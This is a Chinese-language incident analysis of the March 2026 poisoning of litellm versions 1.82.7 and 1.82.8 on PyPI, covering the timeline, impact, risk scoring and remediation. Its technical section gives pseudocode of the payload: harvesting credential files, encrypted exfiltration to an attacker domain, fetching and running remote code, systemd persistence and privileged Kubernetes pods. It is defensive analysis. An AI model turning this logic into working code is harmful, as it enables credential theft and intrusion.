LiteLLM 1.82.7/1.82.8 供应链投毒事件深度研究报告

摘要 2026-03-24，PyPI 上 litellm 的 1.82.7 与 1.82.8 被植入窃密与持久化代码并短时间传播；攻击利用 .pth 启动钩子与代理模块注入实现“安装即触发/导入触发”，窃取云凭证、SSH 密钥、CI/CD 机密并尝试横向进入 Kubernetes。两版本被移除且当前公开可见最新版本回退至 1.82.6，但真实影响取决于当时依赖解析结果与密钥轮换速度，需按“凭证已泄露事件”处置。

快速结论

• 这不是“同名假包”或普通拼写投毒，而是对真实 litellm 发布链路的直接滥用。
• 1.82.8 的风险高于 1.82.7，因为其利用 .pth 机制把触发面扩大到“任意 Python 启动”。
• 对命中过窗口期的环境，正确姿势不是“升级完就算了”，而是按“凭证已暴露事件”处理。
• 真正的治理重点不只在依赖扫描，还在发布链路、OIDC Trusted Publishing、不可变依赖引用和组织级锁定策略。

这篇文章适合三类读者：负责 AI 网关或模型代理的工程团队、维护 Python/CI 供应链的安全团队，以及需要向管理层解释事件影响和处置优先级的负责人。

事件概述与时间线

要点概览

• 已确认：1.82.7/1.82.8 为恶意版本，现已从 PyPI 移除；建议安全版本为 ≤1.82.6。
• 攻击核心：发布链路凭证泄露（与 Trivy 供应链事件关联）→ 直接向 PyPI 上传恶意构件。
• 影响判定依赖精确时间窗与解析器（pip/uv）行为；公开来源对“隔离/下架”时间存在口径差异，应同时记录。

已核实的官方与权威信息链

1. 官方通告（维护方） LiteLLM 官方在安全通告中确认受影响版本为 1.82.7 与 1.82.8，已从 PyPI 移除；并指出疑似源自 CI/CD 中使用的 Trivy 相关供应链 compromise；同时声明“官方 LiteLLM Proxy Docker 镜像路径不受影响”的理由是其依赖固定（pin）。

2. 生态侧安全公告（PyPA 咨询库） PyPA advisory 数据库条目（PYSEC-2026-2）描述了该恶意代码的收集目标（SSH/Git/容器/K8s/云凭证等）、外连域名（models.litellm[.]cloud）、以及 systemd / Kubernetes 持久化与横向方式，并明确影响版本为 1.82.7–1.82.8。

3. 主要安全研究与公开披露（研究者与安全厂商） 公开披露最早通过 GitHub issue 汇总了恶意 .pth 文件与复现方法；后续多份深度分析进一步拆解三阶段载荷、加密与 IOC、以及与 TeamPCP 系列攻击的关联。

4. 可信媒体报道 The Register 报道指出：维护方称其 PyPI 发布 token 通过 CI/CD 链路泄露并被用于上传恶意版本；并引用 Aqua 对 Trivy 事件的解释（攻击者“改写 Git tag 指向”导致既有工作流被动执行恶意代码），以及 GitHub issue 被垃圾评论“噪声淹没”的现象。

5. 公众关注节点（社交平台传播） 公开讨论中，Andrej Karpathy 的帖文被多家媒体/聚合站转述，核心观点是“依赖树投毒导致 pip install 即可触发大规模凭证外泄”，强化了行业对 AI 中间件供应链风险的关注。

时间线（UTC；若不可得则标注“未指定”）

注：公开来源对“隔离/下架”动作存在不同口径（例如：仅隔离恶意版本 vs 隔离整个项目），本节并列记录并在后文解释。

• 2026-03-19 17:43：Trivy GitHub Action tag 被改写指向恶意版本（v0.69.4），为后续“窃取 CI 凭证→横向投毒”提供先导入口。
• 2026-03-23 12:58（左右）：与同一基础设施相关的活动在 Checkmarx/KICS 等链路中出现；同时 models.litellm.cloud 被记录为在 2026-03-23 注册（用于后续外传）。
• 2026-03-24 10:39：litellm 1.82.7 发布到 PyPI（导入触发路径：proxy 模块注入）。
• 2026-03-24 10:52：litellm 1.82.8 发布到 PyPI（安装/启动触发路径：新增 litellm_init.pth）。
• 2026-03-24 11:25：FutureSearch 口径——PyPI 在 46 分钟内隔离（quarantine）两恶意版本。
• 2026-03-24 ~13:38：Snyk 口径——PyPI 对“包/项目层面”执行隔离（quarantine）。
• 2026-03-24 15:35:32Z：PyPA advisory（PYSEC-2026-2）显示修改时间（可视作生态侧进入正式告警流程的一个时间锚点）。
• 2026-03-24（具体时间未指定）：维护方进行密钥轮换、撤销发布 token 等处置在多方记录中出现；媒体亦提及 2FA 已开启但 token 仍可被滥用。
• 2026-03-24 10:39–16:00（官方建议检查窗）：官方通告给出了更宽的“建议自查时间窗”（用于覆盖不确定性与缓存/镜像重建等因素）。

明确列出的假设与未指定项

• 下载量与受害环境：公开可量化的是“攻击窗口内下载次数/依赖数量”，但“真实执行成功/外传成功/具体受影响企业名单”未公开，按“未指定”处理。
• 攻击者归因：多份报告将其与 TeamPCP 系列活动关联，但归因在不同报告中有“强/中等置信度”差异；本报告以“技术关联链”为主，不将归因作为确定事实。
• 社交帖原文可读性：由于 X 页面在本采集环境中不可直接渲染，Karpathy 观点依据聚合站与媒体转述；原帖链接在“资料与来源”中给出。

技术细节：注入方式与恶意代码行为

要点概览

• 两个版本使用“同一类载荷、不同注入点”：1.82.7 主要在 proxy 模块导入时触发；1.82.8 通过 .pth 启动钩子把触发面扩大到“任何 Python 启动”。
• 载荷行为可归纳为三阶段：大规模凭证搜集 → 加密打包外传 → 持久化与 Kubernetes 横向。
• 防守难点：构件由合法凭证发布，hash 校验与常规“require-hashes”并不能证明其无恶意。

恶意代码如何注入：发布链路与构件层面

发布链路视角（“怎么进到仓库/注册表”）

• 维护方与多家分析认为：攻击与 Trivy 供应链 compromise 相关，导致 CI/CD 或发布凭证（如用于 PyPI 的 token）被窃取并用于发布恶意版本。
• 公开披露强调：这不是“同名假包/拼写投毒”，而是对真实 litellm 项目的发布链路滥用；且恶意版本在 GitHub 上没有对应 tag/release（“直接上传到 PyPI”特征）。

构件层面视角（“怎么在用户机器上执行”）

• 1.82.8 将恶意入口放入 litellm_init.pth。Python site 模块会在解释器初始化时处理 .pth，其中以 import 开头的行会被执行；这意味着无需 import、仅安装并启动 Python 即可触发。
• 1.82.7 则把 payload 注入到 litellm/proxy/proxy_server.py，在启动/导入 proxy 相关路径时执行；相对 1.82.8“触发面更窄，但在代理部署场景风险更集中”。

恶意行为细化：三阶段载荷（含伪代码示例）

阶段一：搜集（Credential Harvesting / Recon） 目标覆盖非常广：环境变量、SSH/Git 凭证、云凭证（含 IMDS 元数据拉取）、Kubernetes token/Secret、常见 .env、数据库配置与 shell history 等。

阶段二：加密与外传（Exfiltration） 多份分析一致指出其使用“混合加密”思路（AES 加密数据、RSA 加密会话密钥）并打包为 tpcp.tar.gz 外传至 models.litellm.cloud；同时存在对 checkmarx.zone/raw 的轮询/拉取以获取后续指令或载荷。

阶段三：持久化与横向（Persistence + Kubernetes Lateral Movement） 在主机侧：写入 ~/.config/sysmon/sysmon.py 并创建 systemd user service（伪装为 “System Telemetry Service”）以周期性回连。 在 Kubernetes 场景：若拿到 service account token，会尝试读取各命名空间 secrets，并在 kube-system 创建 node-setup-* 等 Pod，挂载宿主盘、将后门落到节点操作系统层。

下面给出“公开样本行为”的最小化伪代码（仅表达逻辑；不提供可直接复用的恶意细节）：

# 伪代码：.pth 一行触发 -> 拉起子进程 -> 解码并执行
on_python_startup():
    if exists("site-packages/litellm_init.pth"):
        spawn_detached_python("-c", "exec(base64_decode(payload_b64))")

# 伪代码：阶段1 - 搜集
collect = []
collect += read_env_vars()
collect += read_files(["~/.ssh/*", "~/.aws/*", "~/.kube/config", ".env*", "shell_history*"])
collect += try_fetch_cloud_metadata("169.254.169.254")  # IMDS
collect += try_list_k8s_secrets(service_account_token_path="/var/run/secrets/.../token")

# 伪代码：阶段2 - 加密外传
archive = tar_gz(collect, name="tpcp.tar.gz")
enc_data = aes_encrypt(archive, random_session_key())
enc_key  = rsa_encrypt(session_key, hardcoded_public_key)
http_post("https://models.litellm.cloud/", files=[enc_data, enc_key])

# 伪代码：阶段3 - 持久化与K8s横向（概念）
install_systemd_user_service("sysmon", "~/.config/sysmon/sysmon.py")
loop_every(minutes=~50):
    url = http_get("https://checkmarx.zone/raw")
    download_and_exec(url, dst="/tmp/pglog")

if in_kubernetes and can_create_pods:
    for node in all_nodes:
        create_privileged_pod(namespace="kube-system", name=f"node-setup-{node}")

.pth 为什么危险：机制层解释（防守视角）

Python 文档明确指出：.pth 中以 import 开头的行会在启动时执行，且“每次 Python 启动都会运行”，因此很适合作为启动钩子攻击面。 这也是为什么 1.82.8 被普遍视为更高危：它把供应链投毒从“导入某模块才触发”升级为“任何 Python 进程（含 pip 自身）都可能触发”。

影响范围：下载量、直接依赖与行业影响

要点概览

• litellm 体量巨大：近月下载量约 9,600 万级；攻击窗口内两恶意版本合计下载约 46,996 次（公开 BigQuery 统计）。
• 直接依赖面：FutureSearch 统计 PyPI 上 2,337 个包直接依赖 litellm，其中 88% 的版本约束在当时会解析到受影响版本。
• “行业影响”关键在于：它处在 AI 网关/模型路由层，往往集中保管多家模型供应商与云环境的高价值凭证。

量化：下载与依赖扩散

• 截至本报告检索时点（2026-03-26 前后），litellm 在 pypistats 显示：日下载约 350 万、月下载约 9,600 万量级。
• FutureSearch 对攻击窗口（“约 46 分钟”）的 BigQuery 统计显示：
  • 总下载 46,996；其中 1.82.8 下载 32,464（并区分 pip/uv），1.82.7 下载 14,532。
• 直接依赖数量与“暴露比例”：
  • 2,337 个 PyPI 包直接依赖 litellm；2,054（88%）在当时的版本约束下会允许解析到 1.82.x，从而在窗口期存在被动“传染”风险。

受影响项目清单（示例表：直接依赖/可确认受波及的下游）

说明：该表用于展示“典型下游项目的应对姿态与风险”，不等同于“全部受影响项目”。确切全量需依赖 FutureSearch checker/依赖图谱再计算，但其交互工具在本采集环境中无法列出全量明细，故按“未指定”处理。

* 风险等级定义（本报告方法）：

• 高：安装触发面大（如 .pth/安装脚本拉取）、或常运行于高权限环境（CI、K8s、集中网关）且依赖约束松。
• 中：依赖为可选/有限场景触发，或已有明确 pin/去依赖路径。
• 低：严格锁定版本/有 lockfile 且未在窗口期刷新（但这需要本地证据，公开层面通常“未指定”）。

下游间接影响与行业影响（AI 工具链视角）

• “传染”机制：大量下游包对 litellm 使用 >=x 或无上界约束，导致用户安装“某个框架/工具”时，解析器在窗口期可能自动选择 1.82.7/1.82.8；FutureSearch 明确指出 lockfile 能保护“自己”，但不能保护“你的消费者”。
• 集中凭证层的放大效应：作为统一模型路由/网关，实践中经常集中持有多个模型供应商 key、云凭证、日志/代理配置等，一旦被投毒，单点泄露面远大于普通业务依赖。
• 企业侧声明示例：有厂商公开声明其产品不依赖该组件以安抚客户（例如 Kong 发布“不受影响”公告），侧面反映其传播引发广泛供应链排查。

传播路径与攻击链

要点概览

• 攻击链呈“供应链递归”：先攻安全工具/CI 组件 → 窃取发布凭证 → 更新包注册表 → 下游安装即执行 → 再窃取更多 CI/云/K8s 凭证。
• 关键弱点集中在：未 pin 的 CI 依赖、长生命周期发布 token、缺少基于 OIDC 的 Trusted Publishing、下游依赖无上界。

攻击链梳理（从上游入侵到下游传播）

1. 攻击者先通过上游 CI/安全工具链投毒切入，窃取 Runner 环境中的发布凭证或维护者密钥。
2. 拿到发布凭证后，直接向 PyPI 推送恶意版本 1.82.7 与 1.82.8，且这些版本没有对应的正常 GitHub release 流程。
3. 下游用户、CI、镜像构建或代理服务在窗口期解析到恶意版本后，触发 .pth 启动钩子或 proxy 导入路径。
4. 恶意代码随后搜集本机、CI、云平台与 Kubernetes 中的敏感凭证与配置，并打包外传。
5. 如果运行环境具备更高权限，攻击会进一步写入持久化组件，甚至尝试通过 Kubernetes 横向进入节点层。
6. 新窃取到的凭证又可能被用于下一轮发布链路接管，形成递归式供应链扩散。

关键弱点清单（按攻击链位置标注）

1. CI/CD 依赖的“tag 漂移”与未 pin 媒体与厂商披露显示：攻击者通过改写 Git tag 让原本引用 tag 的工作流“在不改配置的情况下”执行恶意代码；这类问题本质是“可变引用”导致不可预期的供应链输入。

2. 长生命周期发布 token 暴露在 Runner 环境 维护方被报道认为：PyPI 发布 token 作为环境变量在 CI 中使用并被外泄；即使账户开启 2FA，token 仍可绕过交互式二次验证（这也是 token 风险的典型点）。

3. 缺乏 OIDC Trusted Publishing（或未全面启用） PyPI 官方说明 “Trusted Publishing” 通过 OIDC 交换短期身份 token，减少手工 API token 依赖；FutureSearch 也明确提出“若使用 Trusted Publishers，攻击者需进一步攻破受信工作流而非仅窃 token”。

4. 下游依赖约束过宽（无上界/仅下界） FutureSearch 对直接依赖的统计表明：多数项目在窗口期会解析到 1.82.x；这让攻击从“直接用户”扩散到“你甚至不知道自己依赖了它”的用户。

5. 构件完整性校验的局限：hash ≠ 安全 Snyk 明确解释：恶意 .pth 被正确记录在 wheel 的 RECORD 中，hash 校验无法识别“内容本身就是恶意但合法发布”的情况。

风险评估：技术、供应链管理、法律合规与声誉

要点概览

• 本事件应按“全面凭证暴露”定性：其目标文件与行为覆盖云/K8s/CI/CD/本机多层密钥与持久化。
• 风险差异取决于：是否安装到 1.82.7/1.82.8、是否触发 proxy/是否有 .pth、是否处在高权限环境。
• 评分为半定量：强调“可解释、可复用”，并列出假设。

评分方法（半定量）

• 维度：技术（T）、供应链管理（S）、法律合规（L）、声誉（R）。
• 对每个维度给出：
  • 影响度 Impact（1–5）：对机密性/完整性/可用性与业务影响的潜在上限。
  • 发生概率 Likelihood（1–5）：在已安装/已触发条件下造成实害的可能性。
• 风险分 = Impact × Likelihood（1–25）；并区分短期（0–30 天）与长期（>30 天）。

关键假设

• 攻击窗口期下载 ≠ 全部执行成功，但对 1.82.8 来说，“pip install 本身可能触发 .pth”使执行概率显著上升。
• 未公开证据不足以判断“外传数据量/具体受害组织”，因此对 L、R 维度采用偏保守上界。

四维度结果（建议用于内部风险沟通）

技术风险（T）

• 短期：Impact 5 × Likelihood 4 = 20/25（极高）
  • 理由：覆盖大量敏感文件、环境变量、云/K8s secrets，并带持久化与二阶段下发能力。
• 长期：Impact 4 × Likelihood 2 = 8/25（中）
  • 理由：若完成“全量密钥轮换 + 主机重置/排查 + K8s 清理”，后续风险趋于可控；但难点是“你是否真的轮换了所有泄露面”。

供应链管理风险（S）

• 短期：Impact 5 × Likelihood 4 = 20/25（极高）
  • 理由：表现为“上游 CI token 泄露 → 注册表投毒 → 下游广泛解析”，且 88% 直接依赖在当时约束下暴露。
• 长期：Impact 5 × Likelihood 3 = 15/25（高）
  • 理由：除非系统性引入 Trusted Publishing、不可变依赖 pin、构件溯源与组织级依赖治理，否则同类路径可重复发生；NIST SSDF 将其视为需要纳入 SDLC 的持续实践。

法律合规风险（L）（非法律意见，仅做风险识别）

• 短期：Impact 4 × Likelihood 3 = 12/25（中-高）
  • 理由：若受影响环境包含个人数据、访问令牌、客户机密，可能触发数据泄露通报/合同安全条款责任；恶意代码目标包含 /etc/shadow、历史记录等，潜在涉及敏感信息。
• 长期：Impact 4 × Likelihood 2 = 8/25（中）
  • 理由：完成取证、修复、证据保全与客户沟通后可降低；但“证明未泄露/可控”通常困难。

声誉风险（R）

• 短期：Impact 4 × Likelihood 4 = 16/25（高）
  • 理由：公众讨论将其描述为“安装级投毒”，并被高影响力从业者转述，容易放大为“AI 工具链不可信”的叙事。
• 长期：Impact 3 × Likelihood 2 = 6/25（中-低）
  • 理由：取决于维护方后续发布治理与平台措施是否显著加固（例如 Trusted Publishing、attestations 透明度）。

缓解与检测措施：短期应急到中长期策略

要点概览

• 立即措施：识别是否装过 1.82.7/1.82.8、隔离环境、查找持久化/异常 Pod、全量轮换凭证。
• 中长期：用 OIDC Trusted Publishing 取代长 token；启用构件 attestations；CI 依赖固定到 commit；依赖治理（上界约束+锁文件+SBOM）。

短期应急措施（0–7 天）

1. 版本与痕迹排查（优先级：高；成本：低）

• 检查：pip show litellm，若为 1.82.7/1.82.8，按“已泄露”处置而非仅升级。
• 查找 .pth（尤其是缓存/uv）：FutureSearch 与 StepSecurity 都给出了查找路径建议。

2. 隔离与溯源（优先级：高；成本：中）

• 对窗口期重新构建/更新依赖的 CI runner、构建机、开发机、镜像构建主机进行隔离；优先收集：进程树、网络连接、文件落地痕迹。

3. 凭证全量轮换（优先级：最高；成本：中-高）

• 轮换面应覆盖：SSH key、云访问密钥、K8s service account token、CI/CD secrets、.env 中 API key、数据库密码等；PyPA advisory 与多份分析均建议“假设已暴露”。

4. 持久化与二阶段清理（优先级：高；成本：中）

• 检查主机侧：~/.config/sysmon/sysmon.py、~/.config/systemd/user/sysmon.service 等；并停止/禁用对应 systemd service。
• 检查临时文件与外传痕迹：/tmp/tpcp.tar.gz、/tmp/pglog、/tmp/.pg_state 等（不同报告略有差异，建议同时覆盖）。

5. Kubernetes 专项（优先级：高；成本：中）

• 检查 kube-system 是否出现 node-setup-* Pod；审计 service account 权限与近期 secret 访问。

中长期供应链安全策略（30–180 天）

下表给出“策略—优先级—成本/复杂度（高/中/低）”的建议组合，适用于开源维护方与企业使用方（细节可按团队现状裁剪）。

案例对比、可借鉴教训、政策建议与资料来源

要点概览

• 相似点：均利用“信任链”而非传统漏洞，且攻击者更偏好“高杠杆节点”（构建系统、包管理、广泛依赖）。
• 差异点：LiteLLM 事件把攻击面推进到“AI 凭证聚合层 + Python 启动钩子”，使“开发机/CI/K8s”同时成为高价值目标。
• 政策建议：围绕“发布身份（OIDC/2FA）+ 构件溯源（attestations）+ 依赖治理（上界+锁定）+ 运行时检测（网络/系统调用）”形成闭环。

历史类似事件对比（简述）

1. SolarWinds（构建/更新链路投毒） SolarWinds 事件的典型特征是攻击者在供应链中插入后门并通过软件更新分发，促使政府/企业开展大规模排查与应急响应；官方与研究机构总结强调其对公共与私营部门带来的系统性影响。

2. event-stream（npm 生态的维护者接管/依赖注入） npm 官方事后说明指出：恶意代码进入 event-stream 依赖链后，npm 安全团队移除了相关包版本并接管维护以阻断进一步滥用；这与本次“合法发布凭证被滥用→注册表投毒”的路径在治理思路上高度相似。

3. typosquatting（拼写相近包名钓鱼/混淆） 学术与行业研究表明，包生态长期受到 typosquatting/包名混淆攻击困扰，攻击者通过相似包名诱导安装并执行恶意逻辑；LiteLLM 事件不同之处在于它并非“假包”，而是“真包发布链路沦陷”。

4. xz backdoor（上游维护者渗透与发布物投毒） CISA 针对 CVE-2024-3094 指出该事件为供应链 compromise，说明“可信发布物被污染”可在关键基础软件层引发系统性风险；与本案共同的教训是：必须把“发布与构件溯源”当作安全边界的一部分。

可操作建议与政策（分别面向社区、企业、平台、监管/标准）

面向开源社区/维护者

• 将 PyPI 发布迁移到 Trusted Publishing（OIDC），减少长生命周期 token；并把发布工作流与最小权限绑定。
• 为构件上传 attestations（SLSA provenance / PyPI publish），让下游可以验证“构件来自哪个 repo/commit/workflow”。
• 对依赖声明加入合理上界（特别是“高杠杆依赖”），并发布 lock/constraints 指南给用户；避免把风险转嫁给使用者。

面向企业用户（使用方）

• 对“凭证聚合层组件”（AI 网关、CI 工具、K8s 管理器）设为最高优先级资产：隔离运行环境、分离凭证域、强制出站网络策略。
• 将 NIST SSDF 的第三方组件治理纳入工程流程（组件清单、来源验证、持续监测与应急演练）。

面向平台（PyPI/npm 等）

• 推动默认启用/更强约束 Trusted Publishing 与透明的 provenance 展示；鼓励“高影响包”优先迁移。
• 强化发布侧 2FA 与 token 策略：npm 已支持“要求 2FA 且禁用 token 发布”的推荐选项；同类策略可作为生态基线。

面向监管机构/标准组织

• 以 SSDF 为抓手推动关键行业供应链安全基线（发布身份、构件溯源、第三方组件治理、事件通报与证据保全）。

资料与来源（中英文链接；部分数据“未指定”已在文中标注）

官方通告 / 项目侧

• LiteLLM Security Update (March 2026)
• PyPI 项目页：litellm
• BerriAI/litellm issue #24512
• BerriAI/litellm issue #24518

生态公告 / 官方数据库

• PyPA advisory-database: PYSEC-2026-2

关键机制文档

• Python site 模块与 .pth 执行机制
• PyPI Trusted Publishers
• PyPI Attestations
• NIST SSDF (SP 800-218)
• npm Require 2FA for publishing
• npm Trusted Publishers

安全研究 / 技术分析

• FutureSearch：46 分钟窗口下载量与依赖面分析
• Snyk：投毒链路与 .pth 机制分析
• StepSecurity：载荷拆解与下游影响
• Datadog Security Labs：事件链路与 IOC

媒体 / 社区讨论

• The Register 报道
• 36Kr / 机器之心转述
• Techmeme 聚合页
• Karpathy 原帖

历史对比案例

• npm event-stream 事件说明
• CISA：xz 供应链事件告警（CVE-2024-3094）
• GAO：SolarWinds 概览
• NCSC：SolarWinds（UK 视角）
• USENIX 2019：npm 生态威胁研究

最后给出 5 条优先建议（可直接执行）

1. 立即全域排查是否安装过 1.82.7/1.82.8，并把命中环境按“凭证已泄露”处置：隔离 + 取证 + 全量轮换（SSH/云/K8s/CI/.env）。
2. 统一将依赖约束收敛到 litellm<=1.82.6（或显式排除 1.82.7/1.82.8），并冻结 lockfile：优先 CI、镜像构建与网关节点。
3. CI/CD 立刻做“不可变输入”改造：第三方 actions 固定到 commit SHA；安全扫描/发布工具固定版本；清理并轮换所有 runner secret。
4. 把发布链路升级到 OIDC Trusted Publishing + Attestations：用短期 token 替代长 token，并给构件加 provenance（SLSA/in-toto）以便下游验证。
5. 对“AI 凭证聚合层”做架构级隔离与最小权限：网关/代理与开发机分离；限制出站域名；K8s service account 严控 RBAC，减少“读全量 secrets/建特权 pod”的可能性。